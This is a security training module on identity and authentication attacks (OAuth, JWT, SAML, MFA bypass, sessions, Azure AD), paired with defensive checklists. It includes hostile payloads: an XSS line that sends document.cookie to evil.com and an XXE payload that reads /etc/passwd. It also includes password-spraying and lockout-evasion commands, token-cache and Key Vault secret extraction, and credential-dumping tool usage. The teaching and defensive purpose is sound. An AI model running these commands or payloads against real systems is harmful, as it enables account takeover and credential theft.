<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# Identity, Authentication & Authorization — Deep Dive Training

> NERF Training Module | Domain: Identity Security
> Sources: OWASP Cheat Sheet Series, PortSwigger Web Security Academy, Secureworks FOCI Research, various red team toolkits
> Last updated: 2026-03-14

---

## Table of Contents

1. [OAuth 2.0 Attack Flows](#1-oauth-20-attack-flows)
2. [JWT Attacks](#2-jwt-attacks)
3. [SAML Attacks](#3-saml-attacks)
4. [MFA Bypass Techniques](#4-mfa-bypass-techniques)
5. [Session Attacks](#5-session-attacks)
6. [Authentication Vulnerabilities](#6-authentication-vulnerabilities)
7. [Password Reset & Credential Stuffing](#7-password-reset--credential-stuffing)
8. [Azure AD / Entra ID Attack Paths](#8-azure-ad--entra-id-attack-paths)
9. [Credential Recovery & Network Poisoning Tools](#9-credential-recovery--network-poisoning-tools)
10. [Defensive Reference](#10-defensive-reference)

---

## 1. OAuth 2.0 Attack Flows

### 1.1 Authorization Code Interception

**Attack**: Attacker intercepts the authorization code during the redirect back to the client application.

**Prerequisites**:
- Weak or missing `redirect_uri` validation on the authorization server
- No PKCE implementation
- Network-level interception capability (shared device, malicious app on mobile)

**Flow**:
```
1. Victim initiates OAuth login
2. Authorization server issues code to redirect_uri
3. Attacker intercepts code via:
   a. Malicious app registered with same custom URI scheme (mobile)
   b. Open redirect on legitimate redirect_uri domain
   c. Network interception (HTTP redirect_uri)
4. Attacker exchanges code for access token at token endpoint
5. Attacker gains victim's session/data
```

**Redirect URI Bypass Techniques**:
- Path traversal: `/callback/../../attacker/path`
- Subdomain manipulation: `evil.legitimate-app.com`
- Parameter pollution: duplicate `redirect_uri` parameters
- Localhost tricks: register `localhost.evil-user.net`
- Fragment manipulation: change `response_mode` from `query` to `fragment`
- Open redirect chaining: `redirect_uri=https://legit.com/redirect?url=https://evil.com`

**ATT&CK**: T1550.001 (Use Alternate Authentication Material: Application Access Token)

### 1.2 PKCE Bypass

**Context**: PKCE (Proof Key for Code Exchange, RFC 7636) was designed to prevent authorization code interception, particularly for public clients.

**Bypass Vectors**:
- **PKCE downgrade**: If the authorization server does not *enforce* PKCE, attacker omits `code_challenge` from the authorization request. The server issues a code exchangeable without `code_verifier`.
- **Method confusion**: Server accepts `plain` challenge method instead of `S256`, allowing trivial `code_verifier` construction if challenge is leaked.
- **Implementation flaws**: Server validates `code_verifier` against wrong session or doesn't bind `code_challenge` to the issued code.

**Defense**: Authorization servers MUST enforce PKCE for all public clients and SHOULD enforce for confidential clients. Only accept `S256` method.

### 1.3 Token Leakage

**Implicit Flow** (deprecated in OAuth 2.1):
- Access token returned in URL fragment (`#access_token=...`)
- Leaked via browser history, Referer headers, proxy logs
- XSS on any page in the redirect domain can read the fragment

**Authorization Code Flow leakage**:
- Code in URL query string leaked via Referer header to third-party resources
- Browser extensions with `tabs` permission can read URL
- Server-side request logging captures codes

**Token Extraction Methods**:
- Open redirects as proxy forwarders for tokens
- `<img src="https://evil.com/log">` injection captures Referer with token
- XSS reading `window.location.hash` or `document.cookie`
- Malicious JavaScript in imported libraries

**Defense**: Use authorization code flow + PKCE. Set `Referrer-Policy: no-referrer`. Implement short-lived codes (single-use, <60 seconds).

### 1.4 Scope Manipulation

**Authorization Code Flow**:
```
1. User authorizes scopes: read, profile
2. Attacker intercepts code
3. Attacker exchanges code requesting scopes: read, profile, admin
4. If server doesn't validate against original grant, elevated access granted
```

**Implicit Flow**:
- Stolen token sent to `/userinfo` with modified `scope` parameter
- Some resource servers honor the scope parameter in the API request rather than the token's embedded scopes

**Defense**: Token endpoint MUST validate requested scopes against the original authorization. Resource servers MUST validate scopes from the token introspection or JWT claims, never from request parameters.

### 1.5 CSRF via Missing State Parameter

**Attack**: Applications omitting the `state` parameter in OAuth flows are vulnerable to login CSRF.

```
1. Attacker initiates OAuth flow, receives authorization code
2. Attacker constructs URL: https://app.com/callback?code=ATTACKER_CODE
3. Victim clicks link, app exchanges attacker's code
4. Victim's account linked to attacker's OAuth identity
5. Attacker logs into victim's account via OAuth
```

**Defense**: Generate cryptographically random `state`, bind to user session, validate on callback.

### 1.6 OAuth Reconnaissance

Standard discovery endpoints expose configuration:
```
GET /.well-known/oauth-authorization-server
GET /.well-known/openid-configuration
```

Look for: `client_id`, `redirect_uri`, `response_type` in authorization requests. Check for `grant_types_supported` — presence of `implicit` or `password` indicates weaker configurations.

---

## 2. JWT Attacks

### 2.1 Algorithm Confusion

**`none` Algorithm**:
```
1. Decode JWT header
2. Change "alg" to "none"
3. Remove signature (keep trailing dot)
4. Server accepts unsigned token if it doesn't enforce algorithm
```

Obfuscation variants: `None`, `NONE`, `nOnE` may bypass naive string checks.

**RSA/HMAC Confusion (CVE-2016-10555 pattern)**:
```
1. Server expects RS256 (asymmetric): verifies with RSA public key
2. Attacker changes alg to HS256 (symmetric)
3. Attacker signs token with the server's RSA PUBLIC key as HMAC secret
4. Server uses public key as HMAC verification key — signature validates
```

**Defense**: Never derive algorithm from the JWT header. Enforce expected algorithm server-side. Use allowlists, not denylists.

### 2.2 Key Injection Attacks

**JWK Header Injection**:
```json
{
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "n": "ATTACKER_PUBLIC_KEY_N",
    "e": "AQAB"
  }
}
```
Server embeds attacker's public key in the token itself, then uses it for verification. Attacker signs with corresponding private key.

**JKU Header Injection**:
```json
{
  "alg": "RS256",
  "jku": "https://evil.com/.well-known/jwks.json"
}
```
Server fetches key set from attacker-controlled URL. Bypasses possible via:
- URL parsing discrepancies
- Open redirects on trusted domains
- DNS rebinding

**KID (Key ID) Injection**:
```json
{
  "alg": "HS256",
  "kid": "../../../dev/null"
}
```
- Directory traversal to `/dev/null` — empty key, sign with empty string
- SQL injection in `kid` if used in database queries
- Path traversal to known static files as signing keys

**Defense**: Never trust JWT header parameters for key selection. Maintain server-side key registry. Validate `kid` against strict allowlist. Block `jku`/`jwk` from untrusted sources.

### 2.3 Secret Brute-Forcing

For HMAC-signed JWTs (HS256/HS384/HS512):
```bash
hashcat -a 0 -m 16500 <jwt_token> <wordlist>
```

Weak secrets (dictionary words, short strings) are cracked in seconds. JWT secrets should be minimum 256 bits of entropy.

### 2.4 Signature Bypass via decode() vs verify()

Many JWT libraries provide both `decode()` (parses without verification) and `verify()` (parses with signature check). Developers confusing these methods skip verification entirely.

**Defense**: Code review for `jwt.decode()` calls without verification. Use linting rules to flag unverified JWT consumption.

---

## 3. SAML Attacks

### 3.1 XML Signature Wrapping (XSW)

**Core Concept**: SAML responses are XML documents with signed assertions. XSW attacks manipulate the XML structure so the signature validates against one element while the application processes a different, attacker-modified element.

**Attack Variants (XSW1 through XSW8)**:

**XSW1 — Detached Signature Wrapping**:
```xml
<Response>
  <Signature>
    <!-- References original assertion via ID -->
  </Signature>
  <Assertion ID="original">  <!-- Signed, ignored by app -->
    <Subject>legitimate-user</Subject>
  </Assertion>
  <Assertion ID="evil">      <!-- Unsigned, processed by app -->
    <Subject>admin</Subject>
  </Assertion>
</Response>
```

**XSW3 — Assertion Wrapping**:
Move the original signed assertion inside the signature's `Object` element, inject a forged assertion in the original location.

**XSW7 — Extensions Wrapping**:
Insert forged assertion inside an `Extensions` element, clone the signed assertion elsewhere.

**Root Cause**: Applications use `getElementsByTagName("Assertion")` which may return the attacker's forged assertion first, while signature validation references the original by `ID` attribute.

**Defense**:
- Schema validation BEFORE signature verification
- Use absolute XPath for element selection, never `getElementsByTagName`
- Validate that the signed element is the one being processed
- Use libraries that perform "enveloped signature" validation correctly

### 3.2 Assertion Replay

**Attack**: Capture a valid SAML assertion and replay it to gain access.

```
1. Intercept SAML Response (network MitM, XSS, log access)
2. Replay assertion to SP before expiration
3. SP grants session based on valid assertion
```

**Defense**:
- Short assertion lifetimes (`NotOnOrAfter` < 5 minutes)
- `OneTimeUse` condition on assertions
- Track consumed assertion IDs (InResponseTo) — reject duplicates
- IP binding when practical
- TLS for all SAML message exchange

### 3.3 XXE via SAML

SAML messages are XML. If the XML parser processes external entities, XXE is possible.

**Attack**:
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
  <Assertion>
    <Subject>
      <NameID>&xxe;</NameID>
    </Subject>
  </Assertion>
</samlp:Response>
```

**Variants**:
- File read via `file://` or `php://filter`
- SSRF via `http://internal-server/`
- Blind XXE via out-of-band exfiltration (DNS, HTTP callback)
- Denial of Service via entity expansion (Billion Laughs)

**Defense**: Disable external entity processing and DTD loading in all XML parsers handling SAML. Use `LIBXML_NOENT` / `XMLConstants.FEATURE_SECURE_PROCESSING`.

### 3.4 IdP-Initiated SSO Risks

Unsolicited SAML responses (IdP-initiated) lack `InResponseTo` binding, making them inherently vulnerable to:
- Login CSRF — attacker can force authentication as a specific user
- Assertion injection — no request to validate against
- Replay attacks — harder to detect without request correlation

**Defense**: Prefer SP-initiated SSO. If IdP-initiated is required: validate per SAML profiles, allowlist `RelayState` URLs, implement assertion replay detection.

### 3.5 Certificate & Signature Best Practices

- RSA 2048-bit minimum, prefer ECC P-256
- SHA-256 minimum hash algorithm (never SHA-1)
- Self-signed certificates recommended for SAML (simpler trust model)
- Maximum 2-year certificate lifetime
- Store signing keys in HSM (FIPS 140-2/140-3)
- Never reuse TLS certificates as SAML signing certificates
- Publish metadata via TLS-protected URLs for automated certificate rotation

---

## 4. MFA Bypass Techniques

### 4.1 Push Fatigue (MFA Bombing / MFA Prompt Spamming)

**Attack**: Repeatedly trigger push notifications until the victim approves one out of frustration or confusion.

```
1. Obtain valid username + password (phishing, credential stuffing)
2. Trigger authentication repeatedly (automated)
3. Victim receives 10-50+ push notifications
4. Victim approves one to stop the noise, or approves accidentally
5. Attacker gains authenticated session
```

**Real-world**: Used in Uber breach (2022), Cisco breach (2022).

**Defense**:
- Number matching in push notifications (user must enter code from login screen)
- Rate limiting on push notifications (max 3 per 10 minutes)
- Geographic/device context shown in push notification
- Phishing-resistant MFA (FIDO2/WebAuthn) eliminates push entirely
- Alert SOC on repeated MFA denials

**ATT&CK**: T1621 (Multi-Factor Authentication Request Generation)

### 4.2 SIM Swap

**Attack**: Social engineering the mobile carrier to transfer victim's phone number to attacker's SIM.

```
1. Gather victim PII (name, address, SSN, account PIN via OSINT/social engineering)
2. Contact carrier, request number port to new SIM
3. Carrier transfers number to attacker's device
4. Attacker receives all SMS-based MFA codes
5. Attacker authenticates with stolen password + intercepted SMS code
```

**Defense**:
- Never use SMS for MFA on high-value accounts (NIST SP 800-63B deprecated SMS)
- Carrier PIN/passphrase for account changes
- Use authenticator apps (TOTP) or hardware tokens
- Monitor for sudden loss of cellular service (indicator of SIM swap)

### 4.3 Adversary-in-the-Middle (AiTM) — Evilginx2

**Attack**: Real-time phishing proxy that captures both credentials AND session tokens, completely bypassing MFA.

```
1. Attacker sets up Evilginx2 with phishlet for target service
2. Victim receives phishing link to attacker's proxy domain
3. Proxy forwards all requests to legitimate service in real-time
4. Victim authenticates normally (enters password, completes MFA)
5. Proxy captures:
   - Username/password
   - MFA responses
   - Session cookies post-authentication
6. Attacker replays session cookies — fully authenticated, MFA bypassed
```

**Key Point**: AiTM bypasses ALL non-phishing-resistant MFA — TOTP, SMS, push notifications, phone calls. The user completes legitimate MFA; the proxy just captures the resulting session.

**Only defenses**:
- FIDO2/WebAuthn (origin-bound, proxy cannot relay)
- Certificate-based authentication (mutual TLS)
- Token binding (binds session to TLS channel)
- Conditional access policies detecting impossible travel / anomalous sign-in

**ATT&CK**: T1557 (Adversary-in-the-Middle), T1111 (Multi-Factor Authentication Interception)

### 4.4 TOTP Seed Theft

**Attack**: Steal the TOTP secret key (seed) to generate valid codes independently.

**Vectors**:
- QR code screenshot during enrollment (shoulder surfing, screen capture malware)
- Extracting seed from authenticator app backup (unencrypted cloud backups)
- Server-side database compromise (seeds stored in cleartext or weakly encrypted)
- Memory dumping on enrollment endpoint
- Backup codes stored insecurely by user

**Defense**:
- Encrypt TOTP seeds at rest with HSM-backed keys
- Never display seed after initial enrollment
- Require re-authentication before seed display/reset
- Monitor for seed access in application logs
- Use hardware-bound authenticators (YubiKey TOTP) where seeds cannot be exported

### 4.5 MFA Implementation Flaws

**Direct Object Reference Bypass**:
```
POST /login → 200 OK (step 1: password verified)
POST /login/mfa?user=victim → change user parameter to another account
```

**Step Skip**:
```
POST /login → 200 OK → redirects to /mfa-challenge
GET /dashboard → if session already partially authenticated, app grants access
```

**Brute-Forcing 2FA Codes**:
- 6-digit TOTP = 1,000,000 possibilities
- Without rate limiting: brute-forceable in <30 minutes
- Time window tolerance (usually +/- 1 window = 90 seconds) means ~3 valid codes at any time

**Defense**: Server-side enforcement of MFA completion before any authenticated access. Rate limit MFA attempts (5 failures = lockout). Bind MFA challenge to the authenticated session, not user-supplied parameters.

### 4.6 Conditional Access Policy Gaps (Microsoft-Specific)

**MFASweep** identifies services where MFA enforcement differs:
- Microsoft Graph API vs. Exchange Web Services vs. ActiveSync
- Different user agents trigger different policies (mobile vs. desktop)
- Legacy authentication protocols may bypass modern MFA requirements
- Different OAuth client IDs may have different policy coverage

```powershell
# Test all Microsoft services for MFA gaps
Invoke-MFASweep -Username user@domain.com -Password P@ssw0rd
# Brute-force client IDs for policy gaps
Invoke-BruteClientIDs -Username user@domain.com -Password P@ssw0rd
```

**Defense**: Conditional access policies should block legacy authentication entirely. Apply MFA policies to all cloud apps, not specific ones. Regularly audit with MFASweep from defensive perspective.

---

## 5. Session Attacks

### 5.1 Session Fixation

**Attack**: Attacker sets the session ID before the victim authenticates, then uses that known ID after authentication.

```
1. Attacker obtains valid session ID (visits app, receives cookie)
2. Attacker injects session ID into victim's browser:
   a. URL parameter: https://app.com/login?SESSIONID=attacker_known_id
   b. Set-Cookie via XSS: document.cookie="SESSIONID=attacker_known_id"
   c. Meta tag injection: <meta http-equiv="Set-Cookie" content="SESSIONID=x">
   d. Cross-subdomain cookie setting (if attacker controls subdomain)
3. Victim authenticates using the attacker-set session ID
4. Server upgrades session to authenticated state WITHOUT regenerating ID
5. Attacker uses the known session ID — now authenticated as victim
```

**Defense**:
- **Regenerate session ID after authentication** — this is the primary defense
- Invalidate old session on regeneration
- Accept only server-generated session IDs (strict mode, reject user-supplied)
- Bind session to client properties (IP, User-Agent)
- Use `Secure`, `HttpOnly`, `SameSite` cookie attributes

### 5.2 Session Hijacking

**Methods**:
- **Network sniffing**: Capture session cookie over unencrypted connection
- **XSS**: `<script>fetch('https://evil.com/steal?c='+document.cookie)</script>`
- **Malware**: Browser extension or keylogger extracting cookies
- **Side-channel**: CSS injection timing attacks, cache probing
- **Physical access**: Browser cookie store, session storage

**Defense**:
- TLS everywhere (HSTS enforcement)
- `HttpOnly` flag (blocks JavaScript access)
- `Secure` flag (HTTPS-only transmission)
- `SameSite=Lax` or `Strict` (blocks cross-origin sending)
- Short session timeouts (idle: 15 min, absolute: 8 hours)
- Session binding to IP/User-Agent with anomaly detection
- Re-authentication for sensitive operations

### 5.3 Session Prediction

**Attack**: If session IDs are generated with insufficient entropy or predictable patterns, attacker can guess valid IDs.

**Weak patterns**:
- Sequential integers
- Timestamp-based
- User-derived (hash of username)
- Weak PRNG seeding

**Defense**: Minimum 128 bits of entropy from CSPRNG. Use framework-provided session management. Never roll custom session ID generation.

### 5.4 Cookie Security Attributes Summary

| Attribute | Purpose | Setting |
|-----------|---------|---------|
| `Secure` | HTTPS-only transmission | Always set |
| `HttpOnly` | Block JavaScript access | Always set |
| `SameSite` | Cross-origin request control | `Lax` minimum, `Strict` preferred |
| `Domain` | Cookie scope | Omit (restricts to exact origin) |
| `Path` | URL path scope | Set narrowly |
| `Max-Age/Expires` | Persistence | Omit for session cookies |

### 5.5 Session Lifecycle Best Practices

- **Idle timeout**: 2-5 min (high value), 15-30 min (low risk)
- **Absolute timeout**: 4-8 hours maximum regardless of activity
- **Regeneration**: After every privilege change (login, role escalation, password change)
- **Logout**: Server-side invalidation + `Clear-Site-Data: "cache", "cookies", "storage"` header
- **Monitoring**: Log session lifecycle with salted hashes of session IDs (not raw IDs)
- **Detection**: Alert on multiple simultaneous sessions, IP changes mid-session, User-Agent changes

---

## 6. Authentication Vulnerabilities

### 6.1 Brute Force & Credential Attacks

**Username Enumeration**:
- Differential error messages: "Invalid username" vs. "Invalid password"
- Response timing differences (database lookup only for valid users)
- Account lockout only for valid accounts
- Registration flow: "Email already in use"
- Password reset: "Email sent" only for valid accounts

**Defense**: Generic errors ("Invalid credentials"), constant-time comparison, consistent responses for all code paths.

**Password Spraying** (horizontal brute force):
```
For each password in [common_passwords]:
    For each user in [user_list]:
        attempt_login(user, password)
        sleep(delay)  # Avoid lockout
```

Tools for Microsoft environments:
- **MSOLSpray**: Azure AD/O365 spraying, extracts MFA status from error codes, integrates with FireProx for IP rotation
- **o365spray**: Python-based, 5 enumeration modules, 7 spraying modules, User-Agent randomization, lockout detection
- **Kerbrute**: Kerberos pre-auth brute-forcing, user enumeration without login failures (no lockout), password spraying

```bash
# Kerbrute user enumeration (no lockouts triggered)
kerbrute userenum -d domain.local users.txt --dc 10.0.0.1

# Kerbrute password spray
kerbrute passwordspray -d domain.local users.txt 'Spring2026!'

# MSOLSpray
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!'

# o365spray enumeration + spray
o365spray --enum -U users.txt -d target.com
o365spray --spray -U valid_users.txt -P passwords.txt -d target.com
```

### 6.2 Account Lockout Bypass

- IP rotation (FireProx, rotating proxies)
- Distribute attempts across time (respect lockout window)
- Target accounts below lockout threshold
- Use protocols with different lockout counters (e.g., ActiveSync vs. web portal)
- Kerberos pre-auth enumeration (no lockout for invalid users)

### 6.3 Password Storage Requirements

- Use modern adaptive hashing: Argon2id (preferred), bcrypt, scrypt
- Never: MD5, SHA-1, SHA-256 without key stretching
- Minimum work factors (adjust to target ~250ms per hash):
  - Argon2id: m=19456, t=2, p=1
  - bcrypt: cost factor 10+
  - scrypt: N=2^17, r=8, p=1

### 6.4 HTTP Basic Authentication

Credentials sent base64-encoded (not encrypted) with every request. Only acceptable over TLS. Provides no logout mechanism, no session management, no lockout capability. Avoid for user-facing applications.

---

## 7. Password Reset & Credential Stuffing

### 7.1 Secure Password Reset Flow

```
1. User requests reset → generic response regardless of account existence
2. Generate cryptographic random token (min 128 bits)
3. Hash token before storing (treat as credential)
4. Send HTTPS link with token to registered email
5. Token expires in 15-60 minutes, single-use
6. User sets new password → enforce password policy
7. Invalidate all existing sessions
8. Notify user via email (DO NOT include password)
9. Require normal login (no auto-login after reset)
```

**Anti-Enumeration**: Consistent response ("If an account exists, you'll receive an email"), consistent timing, rate limiting per account.

**Token Security**: Set `Referrer-Policy: no-referrer` to prevent token leakage. Never rely on `Host` header for URL generation (host header injection).

### 7.2 Credential Stuffing Defense Stack

**Layer 1 — Primary**: MFA (stops 99.9% per Microsoft data)

**Layer 2 — Detection**:
- Monitor login failure rates, geographic anomalies, timing patterns
- TLS fingerprinting (JA3) to identify automation frameworks
- Device fingerprinting (OS, browser, resolution, fonts)
- HTTP/2 fingerprinting, header ordering analysis

**Layer 3 — Friction**:
- CAPTCHA after failed attempts
- JavaScript challenges (headless browser detection)
- Cryptographic puzzles (proof-of-work)
- Progressive delays (exponential backoff)

**Layer 4 — Intelligence**:
- Breached password checking (Have I Been Pwned API, k-anonymity model)
- IP reputation (hosting provider detection, proxy/VPN identification)
- Rate limiting per IP, per account, per subnet

**Layer 5 — User Notification**:
- Alert on login from new device/location
- Show previous login details (date, time, location)
- Active session management (view and revoke)

---

## 8. Azure AD / Entra ID Attack Paths

### 8.1 Reconnaissance

**Tenant Discovery**:
```bash
# Check if domain uses O365
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"

# Get Tenant ID and OpenID configuration
curl "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"

# o365spray validation
o365spray --validate -d target.com
```

**User Enumeration** (no lockout with some methods):
- Kerbrute against on-prem AD synced to Azure AD
- o365spray `--enum` using multiple modules (oauth2, onedrive, autologon)
- Azure AD user enumeration via `GetCredentialType` API

**Tooling for Enumeration**:
| Tool | Purpose |
|------|---------|
| AzureHound | BloodHound integration for Azure privilege paths |
| ROADTool | Azure AD data gathering via authenticated sessions |
| StormSpotter | Neo4j visualization of Azure attack paths |
| PowerZure | Role-based enumeration (Reader → Owner → Admin) |
| MicroBurst | Azure service discovery + post-exploitation |
| SkyArk | Shadow Admin / privileged user identification |

### 8.2 Initial Access

**Password Spraying**:
```powershell
# MSOLSpray — also reveals MFA status, lockout, disabled accounts
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!'

# With FireProx IP rotation to bypass Smart Lockout
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!' -URL https://api-gw.execute-api.us-east-1.amazonaws.com/fireprox
```

Azure AD Smart Lockout: 10 failed attempts → 1-minute lockout (default). Extranet vs. intranet lockout may differ.

**Device Code Phishing**:
```
1. Attacker initiates device code flow: POST /devicecode
2. Receives user_code and device_code
3. Sends user_code to victim: "Enter this code at https://microsoft.com/devicelogin"
4. Victim authenticates and enters code
5. Attacker polls token endpoint with device_code
6. Receives access_token + refresh_token for victim's session
```

Particularly dangerous with FOCI (see 8.4) — single refresh token grants access across 15+ Microsoft applications.

**Illicit Consent Grant**:
```
1. Attacker creates malicious Azure AD application
2. Sends OAuth authorization link to victim
3. Victim grants permissions (mail.read, files.readwrite, etc.)
4. Attacker's app has persistent access to victim's data
5. Survives password changes (token-based, not credential-based)
```

### 8.3 Token Theft & Abuse

**Token Storage Locations**:
```bash
# Azure CLI tokens (Linux)
cat ~/.azure/msal_token_cache.json

# Azure CLI tokens (Windows)
type %USERPROFILE%\.azure\msal_token_cache.json

# Az PowerShell tokens
$env:USERPROFILE\.Azure\TokenCache.dat

# Managed Identity tokens (from Azure VM)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```

**Primary Refresh Token (PRT) Abuse — "Pass the PRT"**:
- PRT is issued to Azure AD joined/registered devices
- Stored in TPM (secure) or as a session key (extractable)
- Can be used for lateral movement within Entra ID
- Tools: ROADtoken, AADInternals

### 8.4 FOCI — Family of Client IDs

**Critical Finding** (Secureworks research): Microsoft groups 15 first-party OAuth clients into a "family." A refresh token from any family member can obtain access tokens for any other member.

**Known FOCI Members** (15 applications):
- Microsoft Azure CLI
- Microsoft Azure PowerShell
- Microsoft Teams
- Microsoft Office
- OneDrive (SyncEngine + iOS)
- Microsoft Authenticator App
- Outlook Mobile
- Visual Studio
- Windows Search
- Microsoft Stream Mobile

**Attack Implications**:
```
1. Compromise refresh token from low-privilege FOCI app (e.g., Teams mobile)
2. Exchange refresh token for access token to high-privilege app (e.g., Azure CLI)
3. New access token has scopes of the TARGET app, not the original
4. Cross-tenant: works across tenants where user has guest accounts
```

This violates OAuth 2.0's core principle that refresh tokens are bound to the client and scopes of the original authorization.

**Detection**: Look for `"foci"` field in token responses. Monitor sign-in logs for token redemption across different client IDs with same refresh token lineage.

### 8.5 Privilege Escalation

**Azure AD Connect Exploitation**:
```
1. Compromise Azure AD Connect server
2. Extract MSOL service account credentials from database
3. MSOL account has DCSync rights (AD Replication)
4. DCSync → extract all domain password hashes
5. Seamless SSO → generate silver tickets
```

**Dynamic Group Manipulation**:
- If attacker can modify user attributes that match dynamic group rules
- Adding user to privileged dynamic group grants role assignments
- Example: change department attribute to match "IT Admins" group rule

**Runbook Automation Abuse**:
- Runbook automation accounts often have elevated permissions
- Create/modify runbooks for persistent code execution
- Schedule runbooks for recurring backdoor access

**Key Vault Secret Extraction**:
```powershell
# If access policies permit
Get-AzKeyVaultSecret -VaultName target-vault
Get-AzKeyVaultSecret -VaultName target-vault -Name secret-name -AsPlainText
```

### 8.6 Persistence

- Add credentials to Enterprise Applications (client secrets/certificates)
- Service principal certificate abuse ("Pass the Certificate")
- Federated identity credential injection
- Application consent grants (survive password resets)
- Runbook schedules for recurring execution
- SAS URLs for persistent storage access

### 8.7 Detection & Defense

**Conditional Access Policies**:
- Block legacy authentication protocols entirely
- Require MFA for all cloud apps (not just specific ones)
- Require compliant/hybrid joined devices
- Block sign-ins from risky locations
- Require phishing-resistant MFA for administrators

**Monitoring**:
- Azure AD Sign-in logs: anomalous client IDs, impossible travel
- Audit logs: application consent grants, credential additions
- Workbook for FOCI token patterns
- Alert on service principal modifications
- Monitor Azure AD Connect health

---

## 9. Credential Recovery & Network Poisoning Tools

### 9.1 LaZagne — Local Credential Recovery

**Purpose**: Recovers passwords stored on local machines by various applications.

**Credential Stores Targeted**:

| Category | Examples |
|----------|---------|
| Browsers | Chrome, Firefox, Edge, Opera, Brave, 25+ Chromium variants |
| Email | Outlook, Thunderbird, Clawsmail |
| Databases | PostgreSQL, SQL Developer, DBVisualizer |
| System | Windows autologon, cached creds, DPAPI, LSA secrets |
| Network | SSH keys, WinSCP, FileZilla, OpenVPN, WiFi |
| Development | Git credentials, Docker, AWS, Maven |
| Password Managers | KeePass |
| Communication | Pidgin, Psi, Skype |

```bash
# All modules
laZagne.exe all

# Specific module
laZagne.exe browsers -firefox

# JSON output
laZagne.exe all -oJ
```

**Note**: WiFi and Windows secrets require administrative privileges.

**ATT&CK**: T1555 (Credentials from Password Stores), T1552 (Unsecured Credentials)

### 9.2 Responder — Network Credential Capture

**Purpose**: Poisons LLMNR, NBT-NS, and MDNS name resolution to capture credentials on the local network.

**Attack Flow**:
```
1. Client attempts DNS resolution for non-existent hostname
2. DNS fails → client falls back to LLMNR/NBT-NS/MDNS broadcast
3. Responder answers broadcast, claiming to be the requested host
4. Client sends authentication to Responder's rogue server
5. Responder captures credentials (hashes or cleartext)
```

**Rogue Servers (17+)**:
- SMB (445/139): NetNTLMv1/v2 hash capture
- HTTP/HTTPS (80/443): NTLM, Basic, Digest auth
- MSSQL (1433): SQL and Windows auth
- Kerberos (88): AS-REP hash capture
- LDAP (389): Directory auth capture
- FTP (21), SMTP (25/587), IMAP (143), POP3 (110): Cleartext

**Captured Credential Types**:
- NetNTLMv1/v2 hashes → offline cracking with hashcat/john
- Kerberos AS-REQ hashes → offline cracking
- Cleartext passwords (HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL)

```bash
sudo python3 Responder.py -I eth0 -v
```

**ATT&CK**: T1557.001 (LLMNR/NBT-NS Poisoning), T1040 (Network Sniffing)

**Defense**: Disable LLMNR and NBT-NS via Group Policy. Deploy mDNS controls. Monitor for anomalous name resolution patterns.

### 9.3 Kerbrute — Kerberos Pre-Auth Testing

**Key Advantage**: User enumeration via Kerberos pre-auth does NOT trigger login failure events (no lockouts). Only a single UDP frame per attempt.

**Capabilities**:
- `userenum`: Enumerate valid usernames (no lockout)
- `passwordspray`: Single password vs. many users (triggers events 4768/4771)
- `bruteuser`: Multiple passwords vs. single user (high lockout risk)
- `bruteforce`: Username:password pairs from file

```bash
# Safe enumeration
kerbrute userenum -d corp.local --dc dc01.corp.local users.txt

# Spray with safety
kerbrute passwordspray -d corp.local --dc dc01.corp.local users.txt 'Winter2026!' --safe
```

`--safe` flag: aborts all threads if any account lockout detected.

**ATT&CK**: T1110.003 (Password Spraying), T1087.002 (Domain Account Discovery)

---

## 10. Defensive Reference

### 10.1 Authentication Hardening Checklist

- [ ] Minimum password length: 8 (with MFA), 15 (without MFA)
- [ ] Maximum password length: at least 64 characters
- [ ] Allow all Unicode characters including spaces
- [ ] Remove mandatory complexity rules (upper/lower/number/special)
- [ ] Check passwords against breached password databases
- [ ] Implement password strength meter (zxcvbn)
- [ ] No periodic forced password rotation
- [ ] MFA required for all users, mandatory for privileged accounts
- [ ] Phishing-resistant MFA (FIDO2/WebAuthn) for administrators
- [ ] Generic error messages for all auth failures
- [ ] Constant-time credential comparison
- [ ] Account lockout with exponential backoff
- [ ] Re-authentication for sensitive operations
- [ ] TLS for entire session lifecycle (HSTS enforced)
- [ ] Log all auth failures, lockouts, password changes

### 10.2 Session Security Checklist

- [ ] Session IDs: 128+ bits entropy from CSPRNG
- [ ] Regenerate session ID after authentication
- [ ] Regenerate session ID after privilege change
- [ ] Cookie attributes: `Secure; HttpOnly; SameSite=Lax`
- [ ] Idle timeout: 15-30 min (adjust by risk)
- [ ] Absolute timeout: 4-8 hours
- [ ] Server-side session invalidation on logout
- [ ] `Cache-Control: no-store` on authenticated pages
- [ ] `Clear-Site-Data` header on logout
- [ ] Monitor concurrent sessions per user

### 10.3 OAuth 2.0 Security Checklist

- [ ] Use Authorization Code flow + PKCE (S256 only)
- [ ] Strict redirect_uri validation (exact match, no wildcards)
- [ ] Cryptographic `state` parameter bound to session
- [ ] Validate scopes at token exchange against original grant
- [ ] Short-lived authorization codes (<60 seconds, single-use)
- [ ] Rotate refresh tokens on use (one-time use)
- [ ] Validate ID tokens: issuer, audience, signature, expiration
- [ ] Set `Referrer-Policy: no-referrer`
- [ ] Disable implicit grant type
- [ ] Protect token endpoint with client authentication

### 10.4 SAML Security Checklist

- [ ] Schema validation before signature verification
- [ ] Absolute XPath for element selection
- [ ] Disable external entity processing (XXE prevention)
- [ ] Short assertion lifetimes (<5 minutes)
- [ ] `OneTimeUse` condition on assertions
- [ ] Track consumed assertion IDs for replay prevention
- [ ] RSA 2048+ or ECC P-256, SHA-256 minimum
- [ ] HSM for signing key storage
- [ ] Prefer SP-initiated SSO over IdP-initiated
- [ ] TLS for all SAML message exchange
- [ ] Self-signed certificates (simpler trust model)
- [ ] Maximum 2-year certificate lifetime

### 10.5 MFA Security Checklist

- [ ] FIDO2/WebAuthn for highest-risk accounts
- [ ] Number matching for push notifications
- [ ] Rate limit push notifications
- [ ] Never use SMS for high-value accounts
